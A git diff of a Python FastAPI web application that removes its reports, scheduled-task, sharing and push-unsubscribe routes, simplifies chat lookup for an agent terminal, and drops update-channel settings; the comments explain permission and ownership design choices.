||||
return Response(status_code=status.HTTP_400_BAD_REQUEST)
|
||||
|
||||
existing = db.scalars(
|
||||
select(PushSubscription).where(PushSubscription.endpoint == endpoint)
|
||||
).first()
|
||||
if existing is not None:
|
||||
existing.user_id = user.id
|
||||
existing.p256dh = p256dh
|
||||
existing.auth_secret = auth
|
||||
existing.last_error = ""
|
||||
else:
|
||||
db.add(
|
||||
PushSubscription(
|
||||
user_id=user.id,
|
||||
endpoint=endpoint,
|
||||
p256dh=p256dh,
|
||||
auth_secret=auth,
|
||||
label=str(request.headers.get("user-agent") or "")[:200],
|
||||
)
|
||||
)
|
||||
db.commit()
|
||||
log.info("%s registered a browser for notifications", user.email)
|
||||
return Response(status_code=status.HTTP_204_NO_CONTENT)
|
||||
|
||||
|
||||
@router.post("/unsubscribe")
|
||||
async def unsubscribe(request: Request, db: Db, user: RequiredUser) -> Response:
|
||||
"""Forget one browser.
|
||||
|
||||
Answers 204 whether or not there was anything to delete: the browser has
|
||||
already dropped its own subscription by the time it calls this, and telling
|
||||
it that the row was missing gives it nothing it could do about it.
|
||||
"""
|
||||
payload = await request.json()
|
||||
endpoint = str(payload.get("endpoint") or "").strip()
|
||||
|
||||
row = db.scalars(
|
||||
select(PushSubscription).where(
|
||||
PushSubscription.endpoint == endpoint, PushSubscription.user_id == user.id
|
||||
)
|
||||
).first()
|
||||
if row is not None:
|
||||
db.delete(row)
|
||||
db.commit()
|
||||
return Response(status_code=status.HTTP_204_NO_CONTENT)
|
||||
@@ -1,122 +0,0 @@
|
||||
"""Reports: a feed of finished work, and one report on its own page.
|
||||
|
||||
List-plus-detail, the same shape as the library — and for the same reason, since
|
||||
an instance running a daily schedule accumulates reports faster than anything
|
||||
else here.
|
||||
|
||||
**There is no composer on either page, and no route below accepts a message.**
|
||||
That is the whole character of the section rather than an omission: a report is
|
||||
addressed to the reader and cannot be answered, and the way to be sure of that
|
||||
is for the machinery that would answer to be absent. Nothing here renders
|
||||
`chat/_message.html`, so there is no `sse-connect` anywhere on these pages and
|
||||
nothing on them can start a generation.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import logging
|
||||
|
||||
from fastapi import APIRouter, Depends, HTTPException, Request, status
|
||||
from fastapi.responses import RedirectResponse, Response
|
||||
from sqlalchemy import select
|
||||
|
||||
from lembas.api.deps import Db, RequiredUser, require_permission
|
||||
from lembas.api.library import PAGE_SIZE, _page
|
||||
from lembas.api.pages import sidebar_context
|
||||
from lembas.db.models import Report
|
||||
from lembas.security import permissions
|
||||
from lembas.services import reports as reports_service
|
||||
from lembas.services import sharing
|
||||
from lembas.services.library import retrieval
|
||||
from lembas.services.markdown import render_markdown
|
||||
from lembas.web.templating import render
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
router = APIRouter(dependencies=[Depends(require_permission("reports.use"))], tags=["reports"])
|
||||
|
||||
|
||||
@router.get("/reports")
|
||||
async def reports_list(
|
||||
request: Request,
|
||||
db: Db,
|
||||
user: RequiredUser,
|
||||
q: str = "",
|
||||
page: int = 1,
|
||||
shared: bool = False,
|
||||
):
|
||||
"""`shared=1` narrows to reports other people have shared with this reader.
|
||||
|
||||
Reports became shareable at the same time as this filter appeared, and the
|
||||
two arrived together on purpose: a feed that quietly grew somebody else's
|
||||
work with no way to see only theirs is worse than one that never grew.
|
||||
"""
|
||||
if q.strip():
|
||||
rows = reports_service.search(
|
||||
db, user, q, limit=PAGE_SIZE, vector=await retrieval.embed_query(db, q)
|
||||
)
|
||||
pager = {"page": 1, "pages": 1, "total": len(rows)}
|
||||
else:
|
||||
rows, pager = _page(
|
||||
db,
|
||||
(
|
||||
select(Report).where(sharing.only_shared(Report, user))
|
||||
if shared
|
||||
else reports_service.visible(user)
|
||||
).order_by(Report.created_at.desc()),
|
||||
page,
|
||||
)
|
||||
return render(
|
||||
request,
|
||||
"reports/index.html",
|
||||
{
|
||||
"section": "reports",
|
||||
"reports": rows,
|
||||
"q": q,
|
||||
"shared": shared,
|
||||
"pager": pager,
|
||||
**sidebar_context(db, user),
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
@router.get("/reports/{report_id}")
|
||||
async def report_detail(request: Request, db: Db, user: RequiredUser, report_id: str):
|
||||
report = reports_service.get(db, report_id, user)
|
||||
if report is None:
|
||||
raise HTTPException(status.HTTP_404_NOT_FOUND, "That report is not available.")
|
||||
# Opening one is what reading it means. Done before rendering so the dot on
|
||||
# the way in and the dot on the way back to the list agree -- the poller
|
||||
# would otherwise re-announce a report the reader is looking at.
|
||||
#
|
||||
# Only the owner's own reading counts. `unread` is the owner's dot, and
|
||||
# somebody a report was shared with opening it would otherwise clear a
|
||||
# notification meant for a person who has not seen it.
|
||||
if report.owner_id == user.id:
|
||||
reports_service.mark_read(db, report)
|
||||
return render(
|
||||
request,
|
||||
"reports/detail.html",
|
||||
{
|
||||
"section": "reports",
|
||||
"report": report,
|
||||
# Model output, through the one path allowed to emit HTML.
|
||||
"body_html": render_markdown(report.body),
|
||||
"can_share": permissions.has(db, user, "library.share"),
|
||||
"is_owner": report.owner_id == user.id,
|
||||
"share_kind": "report",
|
||||
"share_id": report.id,
|
||||
**sidebar_context(db, user),
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
@router.post("/api/reports/{report_id}/delete")
|
||||
async def delete_report(db: Db, user: RequiredUser, report_id: str) -> Response:
|
||||
# `owned`, not `get`: sharing grants reading, so being able to see a report
|
||||
# is not being able to delete it out from under the person who filed it.
|
||||
report = reports_service.owned(db, report_id, user)
|
||||
if report is None:
|
||||
raise HTTPException(status.HTTP_404_NOT_FOUND, "That report is not available.")
|
||||
reports_service.delete(db, report)
|
||||
return RedirectResponse("/reports", status_code=status.HTTP_303_SEE_OTHER)
|
||||
@@ -1,368 +0,0 @@
|
||||
"""Scheduled: the list, the setup form, and one task chat's controls.
|
||||
|
||||
A schedule's own chat is rendered by the ordinary chat page — same transcript,
|
||||
same tail poller, same canvas — with the composer replaced by a strip of
|
||||
controls. That is the whole reason `KIND_TASK` reuses `Chat` and `Message`
|
||||
rather than growing tables of its own.
|
||||
|
||||
The rule form here is the **manual** one, and it is not a fallback in the
|
||||
apologetic sense: it is what makes "an empty override means off" safe for the
|
||||
compile step in Phase 3. Clearing `task.schedule_compile` must switch off the
|
||||
*compiling*, not the feature.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import logging
|
||||
from datetime import UTC, datetime
|
||||
|
||||
from fastapi import APIRouter, Depends, Form, HTTPException, Request, status
|
||||
from fastapi.responses import RedirectResponse, Response
|
||||
|
||||
from lembas.api.deps import Db, RequiredUser, require_permission
|
||||
from lembas.api.pages import sidebar_context
|
||||
from lembas.db.models import TARGET_CHAT, TARGET_MESSAGES, TARGET_REPORT, Schedule
|
||||
from lembas.services import chat as chat_service
|
||||
from lembas.services import schedules as schedules_service
|
||||
from lembas.services.schedule import clock, runner
|
||||
from lembas.services.schedule import rule as rule_service
|
||||
from lembas.web.templating import render
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
router = APIRouter(
|
||||
dependencies=[Depends(require_permission("schedule.use"))], tags=["schedules"]
|
||||
)
|
||||
|
||||
# What the setup form may ask for, in the order they are offered.
|
||||
OFFERED_TARGETS = (
|
||||
(TARGET_CHAT, "Its own chat"),
|
||||
(TARGET_REPORT, "Reports"),
|
||||
(TARGET_MESSAGES, "Messages"),
|
||||
)
|
||||
|
||||
REPEAT_ONCE = "once"
|
||||
REPEAT_EVERY = "every"
|
||||
REPEAT_CALENDAR = "calendar"
|
||||
|
||||
|
||||
def _rule_from_form(form) -> dict:
|
||||
"""Build a rule dict out of the setup form's fields.
|
||||
|
||||
Deliberately builds the *raw* shape and hands it to `rule.validate` rather
|
||||
than validating here: there is one normaliser, it is total, and it is the
|
||||
same one a model's compiled output will go through in Phase 3. Two
|
||||
validators would be two ideas of what a legal schedule is.
|
||||
"""
|
||||
repeat = str(form.get("repeat") or REPEAT_ONCE)
|
||||
raw: dict = {}
|
||||
|
||||
when = str(form.get("start_date") or "").strip()
|
||||
at_time = str(form.get("start_time") or "").strip() or "09:00"
|
||||
if when:
|
||||
raw["start"] = f"{when}T{at_time}:00"
|
||||
|
||||
if repeat == REPEAT_EVERY:
|
||||
unit = str(form.get("every_unit") or "hours")
|
||||
try:
|
||||
amount = int(form.get("every_amount") or 1)
|
||||
except (TypeError, ValueError):
|
||||
amount = 1
|
||||
raw["every"] = {unit: amount}
|
||||
# A timer with no start begins now. Said here rather than in the rule
|
||||
# module, which has no clock by design.
|
||||
raw.setdefault("start", datetime.now(tz=UTC).isoformat())
|
||||
|
||||
elif repeat == REPEAT_CALENDAR:
|
||||
times = [t.strip() for t in str(form.get("times") or "09:00").split(",") if t.strip()]
|
||||
raw["at"] = {
|
||||
"weekdays": [int(d) for d in form.getlist("weekdays") if str(d).isdigit()],
|
||||
"times": times,
|
||||
}
|
||||
days = str(form.get("month_days") or "").strip()
|
||||
if days:
|
||||
raw["at"]["days"] = [int(d) for d in days.split(",") if d.strip().isdigit()]
|
||||
|
||||
try:
|
||||
count = int(form.get("count") or 0)
|
||||
except (TypeError, ValueError):
|
||||
count = 0
|
||||
if count > 0:
|
||||
raw["count"] = count
|
||||
|
||||
until = str(form.get("until") or "").strip()
|
||||
if until:
|
||||
raw["until"] = f"{until}T23:59:00"
|
||||
|
||||
return raw
|
||||
|
||||
|
||||
def _form_values(
|
||||
*, schedule: Schedule | None = None, compiled=None
|
||||
) -> dict:
|
||||
"""Everything `schedules/_form.html` renders, from whichever source there is.
|
||||
|
||||
One dict for both pages, because they are the same fields: an existing row
|
||||
on the edit page, and what the compile proposed on the new one. The form
|
||||
reads only this, so what a model suggested is displayed through exactly the
|
||||
same path as what is stored -- there is no branch in the template that could
|
||||
show one of them differently.
|
||||
"""
|
||||
if compiled is not None:
|
||||
values = _rule_defaults_from(compiled.rule)
|
||||
values.update(
|
||||
title=compiled.title, instruction=compiled.instruction, target=compiled.target
|
||||
)
|
||||
return values
|
||||
values = _rule_defaults_from((schedule.rule_json if schedule else {}) or {})
|
||||
values.update(
|
||||
title=schedule.title if schedule else "",
|
||||
instruction=schedule.instruction if schedule else "",
|
||||
target=schedule.target if schedule else TARGET_CHAT,
|
||||
)
|
||||
return values
|
||||
|
||||
|
||||
def _rule_defaults_from(rule: dict) -> dict:
|
||||
"""What the form should show for a rule.
|
||||
|
||||
Derived from the *normalised* rule, so the form and the engine cannot
|
||||
disagree about what is stored -- an edit screen showing something other
|
||||
than what runs is the same failure as a label that names the wrong tool.
|
||||
Shared by the edit page and by the compile's review step, so what a model
|
||||
proposed is displayed through exactly the same path as what is saved.
|
||||
"""
|
||||
rule = rule or {}
|
||||
at = rule.get("at") or {}
|
||||
every = rule.get("every") or {}
|
||||
if at:
|
||||
repeat = REPEAT_CALENDAR
|
||||
elif every:
|
||||
repeat = REPEAT_EVERY
|
||||
else:
|
||||
repeat = REPEAT_ONCE
|
||||
minutes = int(every.get("minutes") or 0)
|
||||
unit, amount = "minutes", minutes
|
||||
for size, name in ((10080, "weeks"), (1440, "days"), (60, "hours")):
|
||||
if minutes and not minutes % size:
|
||||
unit, amount = name, minutes // size
|
||||
break
|
||||
return {
|
||||
"repeat": repeat,
|
||||
"every_unit": unit,
|
||||
"every_amount": amount or 1,
|
||||
"weekdays": at.get("weekdays") or [],
|
||||
"times": ", ".join(at.get("times") or []),
|
||||
"month_days": ", ".join(str(d) for d in at.get("days") or []),
|
||||
"count": rule.get("count") or 0,
|
||||
}
|
||||
|
||||
|
||||
def _context(db, user, schedule: Schedule | None, *, error: str = "") -> dict:
|
||||
return {
|
||||
"section": "scheduled",
|
||||
"schedule": schedule,
|
||||
"targets": OFFERED_TARGETS,
|
||||
"weekday_names": list(
|
||||
enumerate(("Mon", "Tue", "Wed", "Thu", "Fri", "Sat", "Sun"))
|
||||
),
|
||||
"form": _form_values(schedule=schedule),
|
||||
"error": error,
|
||||
"models": chat_service.available_models(db, user),
|
||||
"timezone": clock.name_for(user) or str(clock.server_zone()),
|
||||
**sidebar_context(db, user),
|
||||
}
|
||||
|
||||
|
||||
# --- The list ------------------------------------------------------------------
|
||||
@router.get("/scheduled")
|
||||
async def scheduled_list(request: Request, db: Db, user: RequiredUser):
|
||||
rows = list(
|
||||
db.scalars(schedules_service.visible(user).order_by(Schedule.created_at.desc()))
|
||||
)
|
||||
zone = clock.zone_for(user)
|
||||
return render(
|
||||
request,
|
||||
"schedules/index.html",
|
||||
{
|
||||
"section": "scheduled",
|
||||
"schedules": [
|
||||
{
|
||||
"row": row,
|
||||
"summary": rule_service.describe(row.rule_json or {}, zone=zone),
|
||||
"next": clock.as_utc(row.next_fire_at).astimezone(zone)
|
||||
if row.next_fire_at
|
||||
else None,
|
||||
}
|
||||
for row in rows
|
||||
],
|
||||
**sidebar_context(db, user),
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
@router.get("/scheduled/new")
|
||||
async def new_schedule(request: Request, db: Db, user: RequiredUser, error: str = ""):
|
||||
"""One question: what do you want to schedule?
|
||||
|
||||
The detail comes from the compile. The manual form is on the same page
|
||||
behind a disclosure, so somebody who already knows exactly when it should
|
||||
run does not have to describe it in prose and hope.
|
||||
"""
|
||||
return render(
|
||||
request,
|
||||
"schedules/new.html",
|
||||
{**_context(db, user, None, error=error), "compiled": None, "described": ""},
|
||||
)
|
||||
|
||||
|
||||
@router.post("/api/schedules/describe")
|
||||
async def describe_schedule(request: Request, db: Db, user: RequiredUser):
|
||||
"""Work a plain-language request into a schedule, and show it back.
|
||||
|
||||
Deliberately a *review* step rather than creating the schedule outright.
|
||||
The whole point of the compile is that a model chose the timing, and a
|
||||
timing nobody looked at is exactly the standing instruction this codebase
|
||||
refuses to create silently elsewhere.
|
||||
|
||||
Nothing here can fail into an error page: a cleared fragment, an endpoint
|
||||
that is down, prose instead of JSON and a rule that means nothing all end at
|
||||
the same place, which is the form with the reader's own words in it and a
|
||||
line saying what to finish.
|
||||
"""
|
||||
from lembas.services import prompts as prompts_service
|
||||
from lembas.services.schedule import compile as compile_service
|
||||
|
||||
form = await request.form()
|
||||
described = str(form.get("request") or "").strip()
|
||||
|
||||
template = prompts_service.resolve(db, "task.schedule_compile")
|
||||
resolved = compile_service.endpoint_for(db, user)
|
||||
if resolved is None:
|
||||
compiled = compile_service.Compiled(
|
||||
instruction=described,
|
||||
title=described[:80],
|
||||
reason="There is no model configured to work this out, so fill it in yourself.",
|
||||
)
|
||||
else:
|
||||
endpoint, model_id = resolved
|
||||
compiled = await compile_service.compile_request(
|
||||
endpoint, model_id, described, template=template, user=user
|
||||
)
|
||||
|
||||
context = _context(db, user, None)
|
||||
# The compiled values become the form's values, so the reader edits what the
|
||||
# model proposed rather than being shown it beside an empty form.
|
||||
context["form"] = _form_values(compiled=compiled)
|
||||
return render(
|
||||
request,
|
||||
"schedules/new.html",
|
||||
{
|
||||
**context,
|
||||
"compiled": compiled,
|
||||
"described": described,
|
||||
"summary": rule_service.describe(compiled.rule, zone=clock.zone_for(user))
|
||||
if compiled.rule
|
||||
else "",
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
@router.get("/scheduled/{schedule_id}/edit")
|
||||
async def edit_schedule(
|
||||
request: Request, db: Db, user: RequiredUser, schedule_id: str, error: str = ""
|
||||
):
|
||||
schedule = schedules_service.get(db, schedule_id, user)
|
||||
if schedule is None:
|
||||
raise HTTPException(status.HTTP_404_NOT_FOUND, "That schedule is not available.")
|
||||
return render(request, "schedules/edit.html", _context(db, user, schedule, error=error))
|
||||
|
||||
|
||||
# --- Writing --------------------------------------------------------------------
|
||||
@router.post("/api/schedules")
|
||||
async def create_schedule(request: Request, db: Db, user: RequiredUser) -> Response:
|
||||
form = await request.form()
|
||||
try:
|
||||
schedule = schedules_service.create(
|
||||
db,
|
||||
owner=user,
|
||||
title=str(form.get("title") or ""),
|
||||
instruction=str(form.get("instruction") or ""),
|
||||
request=str(form.get("instruction") or ""),
|
||||
rule=_rule_from_form(form),
|
||||
target=str(form.get("target") or TARGET_CHAT),
|
||||
model_id=str(form.get("model_id") or ""),
|
||||
)
|
||||
except schedules_service.ScheduleError as error:
|
||||
# Back to the form with the reason, rather than a 400 nobody can act on.
|
||||
return RedirectResponse(
|
||||
f"/scheduled/new?error={error}", status_code=status.HTTP_303_SEE_OTHER
|
||||
)
|
||||
return RedirectResponse(f"/chat/{schedule.chat_id}", status_code=status.HTTP_303_SEE_OTHER)
|
||||
|
||||
|
||||
@router.post("/api/schedules/{schedule_id}")
|
||||
async def save_schedule(
|
||||
request: Request, db: Db, user: RequiredUser, schedule_id: str
|
||||
) -> Response:
|
||||
schedule = schedules_service.get(db, schedule_id, user)
|
||||
if schedule is None:
|
||||
raise HTTPException(status.HTTP_404_NOT_FOUND, "That schedule is not available.")
|
||||
form = await request.form()
|
||||
try:
|
||||
schedules_service.update(
|
||||
db,
|
||||
schedule,
|
||||
owner=user,
|
||||
title=str(form.get("title") or ""),
|
||||
instruction=str(form.get("instruction") or ""),
|
||||
rule=_rule_from_form(form),
|
||||
target=str(form.get("target") or TARGET_CHAT),
|
||||
)
|
||||
except schedules_service.ScheduleError as error:
|
||||
return RedirectResponse(
|
||||
f"/scheduled/{schedule_id}/edit?error={error}",
|
||||
status_code=status.HTTP_303_SEE_OTHER,
|
||||
)
|
||||
return RedirectResponse(f"/chat/{schedule.chat_id}", status_code=status.HTTP_303_SEE_OTHER)
|
||||
|
||||
|
||||
@router.post("/api/schedules/{schedule_id}/toggle")
|
||||
async def toggle_schedule(
|
||||
db: Db, user: RequiredUser, schedule_id: str, enabled: str = Form("")
|
||||
) -> Response:
|
||||
schedule = schedules_service.get(db, schedule_id, user)
|
||||
if schedule is None:
|
||||
raise HTTPException(status.HTTP_404_NOT_FOUND, "That schedule is not available.")
|
||||
schedules_service.set_enabled(
|
||||
db, schedule, owner=user, enabled=enabled not in ("", "0", "false")
|
||||
)
|
||||
return RedirectResponse(
|
||||
f"/chat/{schedule.chat_id}", status_code=status.HTTP_303_SEE_OTHER
|
||||
)
|
||||
|
||||
|
||||
@router.post("/api/schedules/{schedule_id}/run")
|
||||
async def run_schedule(db: Db, user: RequiredUser, schedule_id: str) -> Response:
|
||||
"""Fire it now, without consuming the run it was scheduled for.
|
||||
|
||||
`runner.run_now` is a different entry point from the ticker's for exactly
|
||||
that reason -- testing a schedule must not skip the real one.
|
||||
"""
|
||||
schedule = schedules_service.get(db, schedule_id, user)
|
||||
if schedule is None:
|
||||
raise HTTPException(status.HTTP_404_NOT_FOUND, "That schedule is not available.")
|
||||
chat_id = schedule.chat_id
|
||||
await runner.run_now(schedule_id)
|
||||
return RedirectResponse(f"/chat/{chat_id}", status_code=status.HTTP_303_SEE_OTHER)
|
||||
|
||||
|
||||
@router.post("/api/schedules/{schedule_id}/delete")
|
||||
async def delete_schedule(
|
||||
db: Db, user: RequiredUser, schedule_id: str, keep_chat: str = Form("1")
|
||||
) -> Response:
|
||||
schedule = schedules_service.get(db, schedule_id, user)
|
||||
if schedule is None:
|
||||
raise HTTPException(status.HTTP_404_NOT_FOUND, "That schedule is not available.")
|
||||
schedules_service.delete(db, schedule, keep_chat=keep_chat not in ("", "0", "false"))
|
||||
return RedirectResponse("/scheduled", status_code=status.HTTP_303_SEE_OTHER)
|
||||
@@ -1,176 +0,0 @@
|
||||
"""Giving somebody else access to one thing.
|
||||
|
||||
Its own routes and its own fragment, rather than a block of checkboxes riding
|
||||
along with the resource's save form. Three reasons, in the order they bite:
|
||||
|
||||
- **It rendered every group and every person on the instance, unpaginated, on
|
||||
every detail page.** That is fine for a household and unusable for anything
|
||||
else, and the page it is on has nothing to do with how many accounts exist.
|
||||
- **A share was only stored if the resource was saved.** Ticking a box and
|
||||
navigating away did nothing, silently, which is the shape of failure this
|
||||
codebase keeps cataloguing.
|
||||
- Sharing a *report* has no save form to ride along with at all.
|
||||
|
||||
So: search, and each grant is its own POST. The fragment re-renders itself after
|
||||
every change, which is what keeps "who can see this" a thing you read rather
|
||||
than a thing you reconstruct from checkboxes.
|
||||
|
||||
**Only the owner may reach any of it.** Somebody a thing was shared with cannot
|
||||
share it on -- that is what keeps "who can see this?" answerable by asking one
|
||||
person -- and the check is `sharing.can_write`, which is ownership and nothing
|
||||
else.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import logging
|
||||
|
||||
from fastapi import APIRouter, Form, HTTPException, Request, Response, status
|
||||
from sqlalchemy import or_, select
|
||||
|
||||
from lembas.api.deps import Db, RequiredUser
|
||||
from lembas.db.models import (
|
||||
PRINCIPAL_GROUP,
|
||||
PRINCIPAL_USER,
|
||||
Group,
|
||||
KnowledgeBase,
|
||||
Note,
|
||||
Report,
|
||||
Skill,
|
||||
User,
|
||||
)
|
||||
from lembas.security import permissions
|
||||
from lembas.services import sharing
|
||||
from lembas.web.templating import render
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
router = APIRouter(prefix="/api/library/share", tags=["sharing"])
|
||||
|
||||
# What a URL may name, and what it resolves to. A fixed table rather than a
|
||||
# lookup by string on `sharing.RESOURCE_TYPES`, because that one maps class to
|
||||
# string and this needs the other direction -- and because a route segment is
|
||||
# request input, so the set of things it may name belongs written down.
|
||||
KINDS: dict[str, type] = {
|
||||
"base": KnowledgeBase,
|
||||
"note": Note,
|
||||
"skill": Skill,
|
||||
"report": Report,
|
||||
}
|
||||
|
||||
# Candidates offered at once. Enough that a small instance never has to type
|
||||
# anything, few enough that a large one is not a page of names.
|
||||
MAX_CANDIDATES = 12
|
||||
|
||||
|
||||
def _resource(db: Db, kind: str, resource_id: str, user: User):
|
||||
model = KINDS.get(kind)
|
||||
if model is None:
|
||||
raise HTTPException(status.HTTP_404_NOT_FOUND, "Not a shareable kind.")
|
||||
resource = db.get(model, resource_id)
|
||||
# Ownership, not readability. Being able to see a thing is not being able to
|
||||
# give it away, and the 404 rather than a 403 is deliberate: somebody who
|
||||
# cannot share it has no business learning whether it exists.
|
||||
if resource is None or not sharing.can_write(resource, user):
|
||||
raise HTTPException(status.HTTP_404_NOT_FOUND, "That is not yours to share.")
|
||||
return resource
|
||||
|
||||
|
||||
def _panel(request: Request, db: Db, user: User, kind: str, resource, q: str = "") -> Response:
|
||||
grants = sharing.grants_for(db, resource)
|
||||
shared_users = [g.principal_id for g in grants if g.principal_type == PRINCIPAL_USER]
|
||||
shared_groups = [g.principal_id for g in grants if g.principal_type == PRINCIPAL_GROUP]
|
||||
|
||||
needle = q.strip()
|
||||
pattern = f"%{needle}%"
|
||||
group_query = select(Group).order_by(Group.name)
|
||||
people_query = select(User).where(User.id != user.id).order_by(User.name)
|
||||
if needle:
|
||||
group_query = group_query.where(Group.name.ilike(pattern))
|
||||
people_query = people_query.where(
|
||||
or_(User.name.ilike(pattern), User.email.ilike(pattern))
|
||||
)
|
||||
|
||||
# Anything already shared is shown whatever the search says, or the only way
|
||||
# to remove a grant would be to search for the name it was given to.
|
||||
groups = list(db.scalars(group_query.limit(MAX_CANDIDATES)))
|
||||
people = list(db.scalars(people_query.limit(MAX_CANDIDATES)))
|
||||
for existing in db.scalars(select(Group).where(Group.id.in_(shared_groups or [""]))):
|
||||
if existing.id not in {g.id for g in groups}:
|
||||
groups.insert(0, existing)
|
||||
for existing in db.scalars(select(User).where(User.id.in_(shared_users or [""]))):
|
||||
if existing.id not in {p.id for p in people}:
|
||||
people.insert(0, existing)
|
||||
|
||||
return render(
|
||||
request,
|
||||
"library/_share_panel.html",
|
||||
{
|
||||
"kind": kind,
|
||||
"resource": resource,
|
||||
"q": needle,
|
||||
"groups": groups,
|
||||
"people": people,
|
||||
"shared_users": shared_users,
|
||||
"shared_groups": shared_groups,
|
||||
"share_count": len(grants),
|
||||
# Whether the lists were cut, so the panel can say "search for
|
||||
# somebody" rather than implying these are all the names there are.
|
||||
"truncated": len(people) >= MAX_CANDIDATES or len(groups) >= MAX_CANDIDATES,
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
@router.get("/{kind}/{resource_id}")
|
||||
async def share_panel(
|
||||
request: Request, db: Db, user: RequiredUser, kind: str, resource_id: str, q: str = ""
|
||||
) -> Response:
|
||||
resource = _resource(db, kind, resource_id, user)
|
||||
if not permissions.has(db, user, "library.share"):
|
||||
raise HTTPException(status.HTTP_403_FORBIDDEN, "You may not share things.")
|
||||
return _panel(request, db, user, kind, resource, q)
|
||||
|
||||
|
||||
@router.post("/{kind}/{resource_id}")
|
||||
async def set_share(
|
||||
request: Request,
|
||||
db: Db,
|
||||
user: RequiredUser,
|
||||
kind: str,
|
||||
resource_id: str,
|
||||
principal_type: str = Form(""),
|
||||
principal_id: str = Form(""),
|
||||
on: bool = Form(False),
|
||||
q: str = Form(""),
|
||||
) -> Response:
|
||||
"""Add or remove one grant, and answer with the panel.
|
||||
|
||||
One grant per request rather than a submitted set, because the set is what
|
||||
made the old panel need every name on the instance in front of you before
|
||||
you could change one of them.
|
||||
"""
|
||||
resource = _resource(db, kind, resource_id, user)
|
||||
if not permissions.has(db, user, "library.share"):
|
||||
raise HTTPException(status.HTTP_403_FORBIDDEN, "You may not share things.")
|
||||
if principal_type not in (PRINCIPAL_USER, PRINCIPAL_GROUP):
|
||||
raise HTTPException(status.HTTP_400_BAD_REQUEST, "Unknown principal.")
|
||||
|
||||
grants = sharing.grants_for(db, resource)
|
||||
users = [g.principal_id for g in grants if g.principal_type == PRINCIPAL_USER]
|
||||
groups = [g.principal_id for g in grants if g.principal_type == PRINCIPAL_GROUP]
|
||||
target = users if principal_type == PRINCIPAL_USER else groups
|
||||
|
||||
# Validated against what exists, so a crafted id cannot write a grant naming
|
||||
# nothing -- which would be invisible in the panel and unremovable from it.
|
||||
exists = db.get(User if principal_type == PRINCIPAL_USER else Group, principal_id)
|
||||
if on and exists is not None and principal_id not in target:
|
||||
target.append(principal_id)
|
||||
elif not on and principal_id in target:
|
||||
target.remove(principal_id)
|
||||
|
||||
sharing.set_grants(db, resource, user_ids=users, group_ids=groups)
|
||||
log.info(
|
||||
"%s %s %s %s with %s", user.email, "shared" if on else "unshared", kind,
|
||||
resource_id, principal_id,
|
||||
)
|
||||
return _panel(request, db, user, kind, resource, q)
|
||||
@@ -35,7 +35,6 @@ from lembas.db.session import session_scope
|
||||
from lembas.security import permissions
|
||||
from lembas.security.sessions import COOKIE_NAME, resolve_session
|
||||
from lembas.services import settings_store
|
||||
from lembas.services.agent import draft as draft_service
|
||||
from lembas.services.agent import session as agent_session
|
||||
from lembas.services.agent import terminal as terminal_service
|
||||
from lembas.services.agent.base import ExecError
|
||||
@@ -76,20 +75,6 @@ def _same_origin(websocket: WebSocket) -> bool:
|
||||
return urlsplit(origin).netloc.lower() == host.lower()
|
||||
|
||||
|
||||
def _chat_or_draft(db, user, chat_id: str):
|
||||
"""The chat this panel belongs to, real or still being decided.
|
||||
|
||||
A draft resolves to a transient `Chat` -- see services/agent/draft.py --
|
||||
which is what lets the terminal open on the new-chat screen without
|
||||
`_prepare` or `agent_session.resolve` learning that drafts exist.
|
||||
"""
|
||||
if draft_service.is_draft(chat_id):
|
||||
draft = draft_service.get(chat_id, user.id)
|
||||
return draft_service.as_chat(draft) if draft is not None else None
|
||||
chat = db.get(Chat, chat_id)
|
||||
return chat if chat is not None and chat.user_id == user.id else None
|
||||
|
||||
|
||||
def _prepare(db, user, chat_id: str) -> tuple[str, dict]:
|
||||
"""Everything that has to be true, and what opening needs. One or the other.
|
||||
|
||||
@@ -100,8 +85,8 @@ def _prepare(db, user, chat_id: str) -> tuple[str, dict]:
|
||||
if not permissions.has(db, user, "agent.terminal"):
|
||||
return "You do not have permission to open a terminal.", {}
|
||||
|
||||
chat = _chat_or_draft(db, user, chat_id)
|
||||
if chat is None:
|
||||
chat = db.get(Chat, chat_id)
|
||||
if chat is None or chat.user_id != user.id:
|
||||
return "That chat no longer exists.", {}
|
||||
if chat.kind != KIND_AGENT:
|
||||
return "This is an ordinary chat, so it has no machine to open a shell on.", {}
|
||||
@@ -220,7 +205,8 @@ async def last_command(db: Db, user: RequiredUser, chat_id: str) -> dict:
|
||||
buffer could not produce it anyway: it holds what is on screen, hard-wrapped
|
||||
at the terminal's width, with no way to tell a wrap from a newline.
|
||||
"""
|
||||
if _chat_or_draft(db, user, chat_id) is None:
|
||||
chat = db.get(Chat, chat_id)
|
||||
if chat is None or chat.user_id != user.id:
|
||||
raise HTTPException(status.HTTP_404_NOT_FOUND, "That chat no longer exists.")
|
||||
if not permissions.has(db, user, "agent.terminal"):
|
||||
raise HTTPException(status.HTTP_403_FORBIDDEN, "You cannot open a terminal.")
|
||||
|
||||
@@ -38,22 +38,6 @@ class Settings(BaseSettings):
|
||||
session_ttl: int = 60 * 60 * 24 * 30
|
||||
request_timeout: float = 300.0
|
||||
|
||||
# What `/admin/updates` compares against and the helper deploys.
|
||||
#
|
||||
# Deployment configuration and deliberately not instance settings: they
|
||||
# decide what code runs on this machine, and a value a web administrator
|
||||
# could edit would turn "you may deploy the channel" into "you may deploy
|
||||
# anything". `deploy/install.sh` writes both beside the rest.
|
||||
#
|
||||
# `stable` follows the newest release tag; `edge` follows the branch tip.
|
||||
# Stable is the default because a branch tip is not a release -- following
|
||||
# one means deploying whatever was pushed five minutes ago, which is right
|
||||
# for whoever is building this and wrong for whoever is running it.
|
||||
update_channel: Literal["stable", "edge"] = "stable"
|
||||
# Which branch is fetched, and which one `edge` follows. Stable needs it too:
|
||||
# a fetch has to name a branch, and tags come down with it.
|
||||
update_branch: str = "main"
|
||||
|
||||
@model_validator(mode="after")
|
||||
def _generate_secret_if_absent(self) -> Settings:
|
||||
# A generated key lets `lembas serve` work with no configuration at all,
|
||||
|
||||
